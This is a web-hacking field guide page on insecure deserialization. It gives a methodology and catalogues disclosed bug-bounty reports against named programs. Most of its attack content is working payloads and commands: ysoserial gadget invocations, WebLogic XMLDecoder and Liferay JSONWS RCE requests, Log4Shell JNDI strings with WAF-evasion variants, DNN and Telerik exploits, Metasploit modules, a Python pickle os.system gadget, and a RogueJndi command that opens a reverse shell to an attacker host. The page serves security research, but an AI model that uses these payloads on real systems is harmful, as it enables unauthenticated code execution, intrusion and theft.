⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Insecure Deserialization
Vulnerabilities

Insecure Deserialization

§Basic information

Deserialization turns bytes back into live objects. When the bytes are attacker-controlled and the runtime is allowed to rebuild arbitrary types, the act of reconstructing the object graph runs code: magic methods fire (__wakeup/__destruct/readObject/__toString), a gadget chain of already-loaded classes resolves, and you reach RCE before the application logic ever inspects the data. Treat it as the shortest path from "untrusted string" to "shell as the service account" — usually unauthenticated, and usually against a managed product carrying a public CVE.

The whole game is the sink and the classpath. A serialized blob is inert until something calls readObject/unserialize/Marshal.load/pickle.loads on it, and even then RCE needs a usable gadget in the libraries already loaded. So the job splits cleanly: find the sink that deserializes untrusted input, fingerprint what gadgets are reachable, then deliver a blob for a chain that target actually supports. Two flavours: native serializers (Java readObject, PHP unserialize, Ruby Marshal, Python pickle, .NET BinaryFormatter) that rebuild any type by design, and polymorphic type binding (SnakeYAML !!javaClass, Jackson/TypeNameHandling, ColdFusion _metadata.classname) where the caller names the class to instantiate.

§Methodology

  1. Fingerprint the framework/version first. Most of this class is known-CVE-against-old-software — footer banners, stack traces, login-page release strings, Server headers. Version disclosure is half the exploit.
  2. Spot the format on the wire. Base64/hex blobs in cookies, hidden fields, or POST bodies; the tells below identify the runtime at a glance.
  3. Locate the sink. A parameter/cookie/header/upload that ends up in readObject/unserialize/Marshal.load/YAML.load/pickle.loads, or a filesystem call reachable with a user path (phar://).
  4. Prove it deserializes, not merely fetches — the differential canary (send a plain host, then the same host wrapped in a serialized object; only the wrapped one should ping back).
  5. Enumerate gadgets for the reachable classpath; pick a chain the target supports (don't invent one).
  6. Deliver the impact blob — RCE gadget, or a file-read/file-delete POP chain when no OS-command gadget exists.
# Format tells — identify the runtime before you build anything rO0AB... -> Java (base64 of 0xAC 0xED, ObjectStream) AC ED 00 05 -> Java (raw hex header) a:1:{ / O:8:" -> PHP serialize() --- !ruby/object -> Ruby YAML | \x04\b -> Ruby Marshal application/x-amf -> Java AMF (BlazeDS) gASV / (dp0 / c__ -> Python pickle
● NOTE
A serialized blob doing an outbound request is not proof of deserialization — many endpoints just fetch a URL. Only the differential test (host inside a serialized object) rules out a naive URL-fetch false positive (#728614).

§Deserialization sinks by runtime

Find which runtime and sink you're facing, then use the matching primitive.

Java readObject — gadget chains

Untrusted ObjectInputStream.readObject. Confirm blindly with a DNS/RMI pingback, then fire a gadget for a library on the classpath (Commons-Collections, Spring, etc.). Common sinks: /messagebroker/amf (BlazeDS AMF), JBoss JMXInvokerServlet/web-console, WebLogic wls-wsat XMLDecoder, Liferay /api/jsonws/invoke, file-based Tomcat sessions.

# 1. Blind confirm — a gadget-free DNS canary (no classpath assumptions) ysoserial URLDNS 'http://COLLAB' | base64 -w0 # 2. RCE once a lib is known present. # Runtime.exec has NO shell, so pipes/backticks/redirects need an explicit # bash wrapper; {a,b} brace-expansion beats the whitespace tokenizer. ysoserial CommonsCollections7 'bash -c {curl,http://COLLAB/}' | base64 -w0 # then POST the blob to the sink (Content-Type per endpoint: x-amf, xml, form...)

JSON/YAML polymorphic typing — caller picks the class

The endpoint lets you name the type to instantiate (Liferay JSONWS, Jackson TypeNameHandling, SnakeYAML). No memory-corruption needed — you supply a class that reaches code on construction, and often the OS command is read from a header so you re-fire without rebuilding.

POST /api/jsonws/invoke HTTP/1.1 Host: TARGET cmd2: id Content-Type: application/x-www-form-urlencoded cmd={"/expandocolumn/add-column":{}}&p_auth=TOKEN&tableId=1&name=A&type=1&+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:<hex ScriptEngine gadget reading cmd2>;"}
# SnakeYAML: !!javaClass instantiates arbitrary types -> ScriptEngineManager/URLClassLoader RCE !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://COLLAB/"]]]]

Ruby Marshal / YAML — leaked or static secret

Rails CookieStore marshals the session server-side; forge a cookie signed with a leaked/static secret_key_base and it deserializes a Ruby gadget on load. Also: YAML.load on config/archive metadata, and client-side Marshal.load of a fetched response.

# CookieStore RCE once you own the secret (git-scanned or shipped-static, e.g. GHE <2.8.7) use exploit/multi/http/rails_secret_deserialization set secret <leaked_secret_key_base> set railsversion 4 set targeturi /auth/facebook exploit

PHP unserialize / phar:// — POP chains

Any unserialize() on a cookie/import blob is object injection: instantiate a class whose __wakeup/__destruct/__toString starts a POP chain. Even without unserialize(), any filesystem function (fopen/is_dir/file_exists/getimagesize) reached with a user-controlled path deserializes a phar:// archive's metadata.

// Plant a phar polyglot, then point ANY filesystem call at it. Magic bytes ignore .png. $p = new Phar('exploit.phar'); $p->startBuffering(); $p->setStub('<?php __HALT_COMPILER();'); $p->setMetadata(new \Vendor\GadgetClass); // a class with a useful __destruct/__wakeup $p->addFromString('a.txt','x'); $p->stopBuffering(); rename('exploit.phar','exploit.png'); // defeats image-only upload filters // trigger: file=phar:///var/www/uploads/exploit.png
// Cookie object injection — the sink is unserialize($_COOKIE[...]); use phpggc for the chain O:6:"Canary":1:{s:3:"url";s:19:"http://COLLAB/probe";}

XmlSerializer/LosFormatter/BinaryFormatter, XAML ObjectDataProvider (SharePoint), the DNNPersonalization cookie, Telerik RadAsyncUpload. XAML needs no ysoserial blob — pure data-binding reaches Process.Start.

<!-- XAML ObjectDataProvider -> Process.Start, no gadget lib required --> <ObjectDataProvider xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system" x:Key="x" ObjectType="{x:Type Diag:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <System:String>cmd.exe</System:String> <System:String>/c ping COLLAB</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider>

JNDI / Log4Shell — outbound-lookup deserialization

A config string that accepts a JAAS LoginModule, or any value logged by a vulnerable Log4j, forces the server to reach out over LDAP/RMI and deserialize the attacker's response.

# Kafka Connect / Debezium connector property -> outbound LDAP -> gadget RCE database.history.producer.sasl.jaas.config = com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://ATTACKER" useFirstPass="true" serviceName="x" group.provider.url="x"; # serve the gadget: java -jar RogueJndi.jar --hostname ATTACKER -c "bash -c 'bash -i >& /dev/tcp/ATTACKER/4445 0>&1'"
▸ TIP
Fingerprint URLs worth probing directly: GET /messagebroker/amf (BlazeDS), GET /Telerik.Web.UI.WebResource.axd?type=rau ("handler is registered successfully"), GET /api/jsonws/invoke (Liferay), POST /wls-wsat/CoordinatorPortType (WebLogic). A hit at an old version is a deserialization CVE waiting to fire.

§Bypasses

Filter / controlBypassSeen in
Image-only upload filterphar magic bytes ignore extension; rename .phar.jpg/.png#403083, #921288
Proxy blocks the internal pathprepend the %5C../ traversal token to every request to keep the bypass#502758
Commons-Collections deser disabledSystem.setProperty gadget re-enables it before firing CC7#1529790
safe_load monkey-patchreach a different, unpatched YAML.load (read_checksums), pivot to Marshal#274990
No secret to stealshipped-static secret_key_base in unpatched GHE <2.8.7#206227
Exploit path mismatchserver appended .tmp to the upload; patch the deserialized path to match#838196
Metasploit cookie regex too strictpatch regex to allow - in the session cookie name#134321
Rebuild per commandgadget reads the OS command from a request header (cmd2), re-fire freely#2742457
array_merge type error at sinkwrap the injected object in an array so the sink merges cleanly#415137
Type-restricted unserializenative-extension type confusion (GMP __wakeup → object-store overwrite → template eval)#198734
▲ WARNING
Never fire an untested CommonsCollections/ysoserial payload that spawns a shell against production without a safe proof first. Use a URLDNS/Sleep() gadget (a ~10 s response delay, or a blind DNS/RMI pingback) to prove execution — then report. Spraying RCE gadgets can corrupt state or crash the service.

§Escalation & impact

Deserialization is the terminal of most chains — it lands RCE — so the interesting escalation is what feeds it:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 69 in this class.

Real-world example

CVE chain: proxy traversal -> unauth JBoss console -> Java deserialization RCE

◆ Critical
Specimen #502758 · starbucks · awarded · 571 votes · resolved
Program starbucksSurface webChain Recon/version disclosure -> CVE-2007-0450 proxy traversal

Root cause

An obsolete custom CMS fronted an old Tomcat/JBoss; a mod_proxy directory-traversal (CVE-2007-0450) let the reverse proxy be bypassed to reach an unauthenticated JBoss web console (CVE-2007-1036), then exploited for Java deserialization RCE.

Method

  1. Fingerprint obscure/old stack from footer, stack traces, version banners
  2. Trigger Tomcat mod_proxy traversal to bypass the internal proxy: request /josso/%5C../
  3. Reach the internal-only JBoss web-console that has no auth
  4. Use jexboss against the invoker/deserialization, routing every request through the traversal prefix
GET /josso/%5C../web-console/ HTTP/1.1 # then jexboss against /josso/%5C../ prefix for the deserialization RCE

Insight — A dead 404/redirect page is not the end - fingerprint the CMS/app-server version and chain known-CVE traversals to reach internal-only admin consoles. When a proxy blocks a path, prepend the traversal token to every request to keep the bypass.

Real-world example

GitHub Enterprise Rails hardcoded secret_key_base -> cookie deserialization RCE

◆ Critical
Specimen #206227 · imgur · awarded · 119 votes · resolved
Program imgurSurface webChain Version fingerprint -> known static secret_key_base ->

Root cause

An unpatched GitHub Enterprise (<2.8.7) shipped a static Rails secret_key_base; knowing it lets an attacker forge a CookieStore session cookie containing a marshalled Ruby object that executes on server-side deserialization.

Method

  1. Fingerprint GHE version (login page / release notes) and confirm it predates the 2.8.7 patch
  2. Use the public static secret to sign a malicious Rails session cookie (marshalled RCE gadget)
  3. Send it to trigger server-side unmarshal -> RCE
# Rails signed CookieStore RCE using the leaked/static secret_key_base # (metasploit multi/http/rails_secret_deserialization or manual Marshal gadget)

Insight — Unpatched appliances often carry known static secrets - always version-fingerprint managed products (GHE, GitLab, Confluence) and check for public secret-key/CVE disclosures. A static Rails secret = trivial CookieStore deserialization RCE.

Real-world example

PHP unserialize() of a cookie with a Monolog gadget chain

◆ Critical
Specimen #2248328 · nextcloud · none · 82 votes · resolved
Program nextcloudSurface web

Root cause

Custom WP theme calls unserialize(base64_decode($_COOKIE['nc_form_fields'])) on attacker-controlled cookie data; a Monolog FingersCrossedHandler->SyslogHandler-style gadget present via the PodLove plugin turns object injection into system() command execution.

Method

  1. Identify a request path that hits the vulnerable filter (e.g. the newsletter page rendering NinjaForms fields).
  2. Build a serialized Monolog FingersCrossedHandler gadget whose buffered record + processors reach call_user_func('system', 'id').
  3. base64-encode it and set it as the nc_form_fields cookie; the response body contains the command output.
curl -s -H 'Host: nextcloud.com' \ -b 'nc_form_fields=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7...czoic3lzdGVtIjt9fQ==' \ 'https://TARGET/newsletter/' # decoded gadget: O:37:"Monolog\Handler\FingersCrossedHandler":4:{...buffer=[['id','level'=>100]]...processors=[1=>'system']}

Insight — Grep the codebase for unserialize()/unserialize on $_COOKIE/$_GET/$_POST; if any dependency (Monolog, Guzzle, Laravel, Symfony) is autoloaded, PHPGGC has a ready gadget. Cookies are a favored injection point because they ride every request.

Real-world example

Log4Shell (CVE-2021-44228) JNDI lookup injection in request headers

◆ Critical
Specimen #1425474 · acronis · $1000 · 75 votes · resolved
Program acronisSurface webChain JNDI lookup -> attacker LDAP referral -> Java deserialTag jwt

Root cause

Log4j <2.15 evaluates ${jndi:ldap://...} lookups inside logged strings; any user input that gets logged (headers, params) triggers an outbound JNDI/LDAP fetch and deserialization of the attacker's response => RCE.

Method

  1. Spin up an interactsh/Collaborator listener.
  2. Send ${jndi:ldap://HOST.collab/x} in ~30 candidate headers (User-Agent, X-Forwarded-For, Referer, etc.) and the query string.
  3. An out-of-band LDAP/DNS callback confirms the sink; escalate by serving a malicious LDAP referral to a deserialization gadget.
${jndi:ldap://TARGET.COLLAB/test} # nested/obfuscated variants to dodge naive WAFs: ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://TARGET.COLLAB/x} ${jndi:dns://TARGET.COLLAB/x}

Insight — Fuzz the JNDI payload across every header and reflectable param; put a unique subdomain per header so the DNS/LDAP callback tells you exactly which field is the logging sink. dns:// works even where outbound LDAP is filtered.

Real-world example

Leaked Rails secret_key_base in public repo -> CookieStore Marshal RCE

◆ Critical
Specimen #134321 · algolia · 500 · 74 votes · resolved
Program algoliaSurface webChain GitHub recon -> leaked secret_key_base -> forged signe

Root cause

The Rails secret_key_base was committed to a public GitHub repo; because the app used CookieStore (server-side Marshal of session), an attacker can sign a cookie containing a Ruby object that executes on deserialization.

Method

  1. Scan the target's org + employee GitHub repos (Gitrob/trufflehog) for secret_token.rb / secret_key_base
  2. Confirm the app uses CookieStore sessions
  3. Run metasploit rails_secret_deserialization with the leaked secret (patch cookie regex for '-' in name)
  4. Get a reverse shell / run id
use exploit/multi/http/rails_secret_deserialization set secret <leaked_secret_key_base> set rhost target set railsversion 4 set targeturi /auth/facebook exploit

Insight — Recon-driven RCE: enumerate an org's (and employees') public repos for framework secrets. A leaked Rails secret_key_base with CookieStore = deterministic deserialization RCE. Same class as static/known secrets in shipped appliances (#206227).

Real-world example

Oracle WebLogic wls-wsat XMLDecoder deserialization RCE (CVE-2017-10271)

◆ Critical
Specimen #576887 · deptofdefense · none · 68 votes · resolved
Program deptofdefenseSurface web

Root cause

WebLogic's wls-wsat SOAP endpoint deserializes attacker XML via java.beans.XMLDecoder without restriction, allowing instantiation of arbitrary objects and OS command execution.

Method

  1. Send a SOAP POST to /wls-wsat/RegistrationPortTypeRPC with an XMLDecoder work:WorkContext
  2. Prove code execution with a Thread.sleep(12000) payload (12s response delay)
  3. Swap in a ProcessBuilder payload to run commands (use DNS/OOB if outbound is filtered)
POST /wls-wsat/RegistrationPortTypeRPC Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java class="java.beans.XMLDecoder"><object class="java.lang.Thread" method="sleep"><long>12000</long></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

Insight — For WebLogic, probe /wls-wsat/* and /_async/* with an XMLDecoder Thread.sleep payload as a safe timing oracle before attempting command exec. Timing proof avoids needing outbound egress. Swap Thread->ProcessBuilder for the real command.

Real-world example

Liferay JSONWS unauthenticated deserialization RCE (CVE-2020-7961)

◆ Critical
Specimen #2742457 · deptofdefense · none · 62 votes · resolved
Program deptofdefenseSurface webChain unauth JSONWS invoke -> Java deserialization -> c3p0/S

Root cause

Liferay Portal's /api/jsonws/invoke deserializes attacker-supplied JSON into arbitrary classes; supplying a com.mchange.v2.c3p0.WrapperConnectionPoolDataSource with a serialized HexAsciiSerializedMap gadget triggers a chained Transformer/ScriptEngine gadget that runs OS commands, unauthenticated.

Method

  1. Find a Liferay instance exposing /api/jsonws (default reachable).
  2. POST to /api/jsonws/invoke calling /expandocolumn/add-column with a +defaultData typed as the c3p0 WrapperConnectionPoolDataSource.
  3. Embed the HexAsciiSerializedMap Java-deserialization gadget whose payload runs a command from the cmd2 header.
  4. Read command output in the response.
POST /api/jsonws/invoke HTTP/1.1 Host: TARGET cmd2: systeminfo Content-Type: application/x-www-form-urlencoded cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=<token>&tableId=1&name=A&type=1&+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:<hex gadget with ScriptEngine ProcessBuilder(cmd2)>;"}

Insight — JSON web-service endpoints that let the caller pick the deserialized class (Liferay JSONWS, Jackson polymorphic typing, .NET TypeNameHandling) are RCE. The c3p0 WrapperConnectionPoolDataSource + HexAsciiSerializedMap is a reusable Java gadget; the embedded JS/ScriptEngine reads a header (cmd2) so you can change commands without rebuilding the blob.

Real-world example

.NET BinaryFormatter deserialization via HTTP header (Sitecore CVE-2025-27218)

◆ Critical
Specimen #3090123 · mars · none · 59 votes · resolved
Program marsSurface web

Root cause

Sitecore deserializes unsanitized user input taken from the ThumbnailsAccessToken HTTP header using .NET BinaryFormatter; a ysoserial.net gadget in that value executes OS commands.

Method

  1. Fingerprint Sitecore and confirm the vulnerable endpoint/version.
  2. Generate a BinaryFormatter payload with ysoserial.net (e.g. TypeConfuseDelegate/ObjectDataProvider -> cmd).
  3. Send it in the ThumbnailsAccessToken header; command runs as the app pool identity.
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami" # place result in: ThumbnailsAccessToken: <base64 payload>

Insight — On .NET apps, look for opaque base64 blobs in custom headers/cookies/tokens; BinaryFormatter/LosFormatter/ObjectStateFormatter are the classic sinks and ysoserial.net gives ready gadget chains.

Real-world example

YAML.load pivot to Marshal.load RCE (RubyGems CVE-2017-0903)

◆ Critical
Specimen #274990 · rubygems · $1500 · 50 votes · resolved
Program rubygemsSurface webChain YAML.load -> Marshal.load -> RCE

Root cause

rubygems.org hardened gem-spec YAML parsing with Psych.safe_load, but Gem::Package#read_checksums still called plain YAML.load on the gem's checksums file; using app-accessible classes that reachable YAML.load was chained into Marshal.load on attacker data => RCE.

Method

  1. Craft a .gem whose checksums entry contains a YAML payload that instantiates classes leading to Marshal.load of attacker bytes.
  2. POST the gem to /api/v1/gems; Gem::Package.new(body).spec parses it and hits the unsafe read_checksums path.
  3. Marshal gadget executes (PoC performed a wget/callback).
cat poc.gem | curl -H 'Content-Type: application/gzip' --data-binary @- \ -H 'Authorization: <api-key>' https://rubygems.org/api/v1/gems

Insight — Partial hardening is a trap: one safe_load does not protect a second, forgotten YAML.load/Marshal.load on the same object. Audit every deserialization entry point in a parser, especially secondary files (checksums, metadata) inside an archive.

Real-world example

Bug chain: LFR -> PHP object injection -> XXE/SSRF -> Python pickle RCE

◆ Critical
Specimen #415501 · h1-5411-ctf · none · 46 votes · resolved
Program h1-5411-ctfSurface webChain LFR -> source disclosure -> PHP object injection ->Tag file-upload

Root cause

A local-file-read primitive exposed source, revealing a PHP unserialize() on uploaded data. A gadget class (ConfigFile) with a __toString() that parses XML enabled XXE/SSRF to an internal service on :1337, which itself deserialized Python pickle -> full RCE.

Method

  1. Use LFR (template=../../etc/passwd) to read app source and find unserialize() in import endpoint and an XXE-capable gadget class
  2. Craft a serialized ConfigFile object whose config_raw is an XXE payload; trigger __toString by visiting a page that echoes $_SESSION['memes']
  3. Point the XXE SYSTEM entity at internal http://localhost:1337 which accepts a base64 Python pickle in a param
  4. Send a __reduce__/os.system pickle to get a reverse shell
a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:239:"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"http://localhost:1337/\">]><note><template>&xxe;</template></note>";}} # python pickle gadget: class PickleRce(object): def __reduce__(self): import os; return (os.system,("COMMAND",))

Insight — Chain primitives: LFR to recover source is the master key - it turns blind object injection into a targeted gadget hunt. Look for magic methods (__toString/__wakeup/__destruct) reachable from any place the object is echoed/concatenated; XXE is a great SSRF pivot to internal deserializers.

Real-world example

.NET XmlSerializer deserialization via DNNPersonalization cookie (CVE-2017-9822)

◆ Critical
Specimen #2762119 · mtn_group · none · 46 votes · resolved
Program mtn_groupSurface web

Root cause

DotNetNuke (5.0.0-9.3.0) deserializes the unauthenticated DNNPersonalization cookie by calling XmlSerializer with an attacker-supplied type name (Type.GetType(typeName)). Using the ExpandedWrapper + ObjectDataProvider gadget an attacker invokes arbitrary methods (file read/write, process start) = RCE. Triggered on the default custom 404 page.

Method

  1. Confirm DNN version and that a 404 hits the built-in error page
  2. Generate a payload with ysoserial.net -p DotNetNuke (read_file/write_file/run_command)
  3. Send it in the DNNPersonalization cookie to any URL (e.g. GET /__)
  4. Observe file content / reverse shell
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile> # RCE variant: ysoserial.exe -p DotNetNuke -m run_command -c "powershell iex(...)"

Insight — Any .NET app that deserializes user data with a type name it doesn't constrain (XmlSerializer/LosFormatter/BinaryFormatter/Json.NET TypeNameHandling) is RCE via ExpandedWrapper+ObjectDataProvider. For DNN, the trigger surface is the anonymous DNNPersonalization cookie reachable on the default 404 page - no auth needed.

Real-world example

Kafka Connect RCE via JndiLoginModule SASL JAAS config -> LDAP deserialization

◆ Critical
Specimen #1529790 · aiven_ltd · $5000 · 45 votes · resolved
Program aiven_ltdSurface apiChain connector JAAS config -> outbound LDAP -> deserializatTag jwt

Root cause

A connector config property (database.history.producer.sasl.jaas.config on the Debezium MySQL connector) accepts an arbitrary JAAS module; setting com.sun.security.auth.module.JndiLoginModule with an attacker LDAP user.provider.url makes the server bind to the attacker's LDAP and deserialize the response => Java gadget chain RCE.

Method

  1. Via the Kafka Connect / Aiven REST API, create/patch a Debezium MySQL connector.
  2. Set sasl.jaas.config to JndiLoginModule pointing user.provider.url at your rogue LDAP (RogueJndi).
  3. RogueJndi serves a gadget (here: System.setProperty gadget to enable CommonsCollections unsafe deserialization, then CommonsCollections7) yielding a reverse shell.
database.history.producer.sasl.jaas.config = com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://ATTACKER" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx"; # rogue server: java -jar RogueJndi-1.1.jar --hostname ATTACKER -c "bash -c bash -i >& /dev/tcp/ATTACKER/4445 0>&1"

Insight — Any config surface that accepts a JAAS/LoginModule string (Kafka Connect, Debezium, Solr, etc.) is a JNDI->deserialization RCE sink; JndiLoginModule + a rogue LDAP server is the generic exploit.

Real-world example

Telerik UI RadAsyncUpload RCE chain (CVE-2017-11317 upload + CVE-2019-18935 deserialization)

◆ Critical
Specimen #838196 · deptofdefense · none · 45 votes · resolved
Program deptofdefenseSurface webChain weak-key file upload (CVE-2017-11317) -> insecure deseriaTag file-upload

Root cause

Outdated Telerik.Web.UI RadAsyncUpload uses a weak/known encryption key (CVE-2017-11317) allowing arbitrary file upload, and the async-upload handler insecurely deserializes the rauPostData JSON via JavaScriptSerializer (CVE-2019-18935); uploading a mixed-mode DLL and deserializing a type that loads it yields RCE.

Method

  1. Find the handler: GET /Telerik.Web.UI.WebResource.axd?type=rau returns 'RadAsyncUpload handler is registered successfully'.
  2. Brute the product version with RAU_crypto.py against versions.txt until a file upload succeeds (proves the known key).
  3. Compile a mixed-mode DLL (PoC: Sleep(10000) in DllMain), upload it, then run CVE-2019-18935.py to deserialize a type that loads the DLL from its upload path.
  4. A ~10s response delay proves code execution.
# detect + version brute: curl -sk 'https://TARGET/Telerik.Web.UI.WebResource.axd?type=rau' for V in $(cat versions.txt); do python3 RAU_crypto.py -P 'C:\\Windows\\Temp' "$V" testfile.txt 'https://TARGET/Telerik.Web.UI.WebResource.axd?type=rau' | grep fileInfo; done # exploit: python3 CVE-2019-18935.py -u 'https://TARGET/Telerik.Web.UI.WebResource.axd?type=rau' -v 2016.2.607.40 -f 'C:\\Windows\\Temp' -p sleep_amd64.dll

Insight — The RadAsyncUpload handler URL (?type=rau) is a reliable fingerprint; if the version is old, the encryption key is public so you get upload + deserialization for free. Use a Sleep() DLL as a safe RCE proof.

Real-world example

.NET LosFormatter RCE via __VSTATE parameter (HigherLogic)

◆ Critical
Specimen #1391576 · 8x8-bounty · none · 36 votes · resolved
Program 8x8-bountySurface web

Root cause

A HigherLogic community platform page deserializes the user-supplied __VSTATE parameter with LosFormatter, which is unsafe for untrusted input. A ysoserial.net TypeConfuseDelegate gadget yields RCE.

Method

  1. Locate a page exposing a __VSTATE parameter
  2. Generate a LosFormatter payload with ysoserial.net (TypeConfuseDelegate), gzip+base64 encode as the app expects
  3. Insert into __VSTATE and submit; confirm via OOB DNS
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping COLLAB.interactsh.com" -o raw | base64 -d | gzip - | base64 -w0 # paste result into the __VSTATE form field and submit

Insight — __VSTATE / __VIEWSTATE-style parameters on ASP.NET pages are LosFormatter/ObjectStateFormatter deserialization sinks - test them with ysoserial.net. Note the app-specific encoding wrapper (here base64->gzip->base64). Third-party platforms (HigherLogic) reused across many programs multiply the finding.

Real-world example

Apache Flex BlazeDS AMF deserialization (CVE-2017-5641)

◆ Critical
Specimen #728614 · deptofdefense · awarded · 28 votes · resolved
Program deptofdefenseSurface webChain AMF deserialization -> RMI/JNDI -> gadget chain ->

Root cause

A /messagebroker/amf endpoint deserializes untrusted AMF (application/x-amf) with BlazeDS; a crafted AMF object graph (sun.rmi.server.UnicastRef) forces an outbound RMI/DNS lookup, confirming unsafe deserialization exploitable to RCE with a gadget chain.

Method

  1. Send a plain collaborator host in the AMF body first -- nothing happens (rules out a naive URL-fetch false positive).
  2. Then send the host embedded in a serialized AMF UnicastRef payload; a blind DNS/RMI pingback proves deserialization.
  3. Escalate with a full ysoserial gadget for RCE.
amf_payload = b'\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a\x07\x33' + b'sun.rmi.server.UnicastRef' + struct.pack('>H', len(HOST)) + HOST + struct.pack('>I', PORT) + b'\xf9jv{|\xdehOv\xd8\xaa=\x00\x00\x01[\xb0L\x1d\x81\x80\x01\x00' # POST to /messagebroker/amf with Content-Type: application/x-amf

Insight — application/x-amf endpoints (/messagebroker/amf) are Java deserialization sinks. Use the differential test (plain host vs host-inside-serialized-object) to prove it's deserialization and not a URL fetch; sun.rmi.server.UnicastRef gives a clean DNS/RMI canary.

Real-world example

Oracle WebLogic wls-wsat WorkContext XMLDecoder RCE (CVE-2017-3506/10271)

◆ Critical
Specimen #810778 · mtn_group · none · 25 votes · resolved
Program mtn_groupSurface web

Root cause

The WebLogic wls-wsat SOAP endpoints deserialize the WorkContext SOAP header with java.beans.XMLDecoder, which instantiates arbitrary classes; a ProcessBuilder object with a start() method yields unauthenticated OS command execution.

Method

  1. POST a SOAP envelope to /wls-wsat/CoordinatorPortType or /wls-wsat/RegistrationRequesterPortType
  2. Use a Thread.sleep XMLDecoder object for safe blind detection (timing)
  3. Escalate to a java.lang.ProcessBuilder object running /bin/bash -c with an OOB DNS callback to confirm RCE
POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1 Host: TARGET Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>ping `whoami`.COLLAB.burpcollaborator.net</string></void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

Insight — Detect WebLogic RCE safely with a Thread.sleep XMLDecoder object (measure response delay) before firing ProcessBuilder. Backtick command substitution inside the ping argument exfiltrates command output via DNS for blind targets.

Real-world example

PHP object injection __toString gadget -> XXE -> SSRF (LFI-assisted)

◆ Critical
Specimen #415222 · h1-5411-ctf · none · 20 votes · resolved
Program h1-5411-ctfSurface webChain filter-bypass LFI -> source disclosure -> PHP object i

Root cause

A meme generator loaded templates via a 'template' path param filtered only for type=image; switching type=text bypassed the filter to LFI/read source. The source revealed an unserialize() sink on uploaded data plus a ConfigFile class whose __toString() parses XML, giving PHP object injection -> XXE -> SSRF.

Method

  1. Bypass the LFI filter by toggling a sibling parameter (type=text instead of image) to read /var/www source
  2. Locate an unserialize() on user-uploaded/session data and a class with a dangerous magic method (__toString -> XML parse)
  3. Craft a serialized ConfigFile object so its __toString triggers XXE, then pivot to SSRF/internal port scan
<?php $config = new ConfigFile("data:text/html,PAYLOAD"); echo serialize([$config]); // a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:11:"placeholder";}} ?>

Insight — Chain pattern: a weak filter bypassed by a neighboring param -> LFI to read source -> find unserialize() + a magic-method gadget (__toString/__wakeup/__destruct) -> object injection into XXE/SSRF. Always grep recovered source for unserialize and magic methods.

Real-world example

LFI -> PHP object injection + XXE -> SSRF -> Python pickle RCE chain

◆ Critical
Specimen #415682 · h1-5411-ctf · none · 17 votes · resolved
Program h1-5411-ctfSurface webChain LFI (source disclosure) -> PHP object injection -> XXETag file-upload

Root cause

A chain: an LFI in the template param leaks source; unserialize() of user input on a hidden endpoint enables PHP object injection whose __toString triggers XXE (SSRF/file read); the SSRF reaches an internal service that unpickles a user-controlled status param, giving Python RCE.

Method

  1. Use template param LFI to read app source and /etc/passwd
  2. Craft a serialized ConfigFile object whose config_raw holds an XXE doc; upload via import endpoint to get XXE/SSRF
  3. Enumerate internal services via /proc/<pid>/cmdline over SSRF; find internal service on port 1337
  4. Send a malicious base64 cPickle (os.system reverse shell) as the status param to the internal service
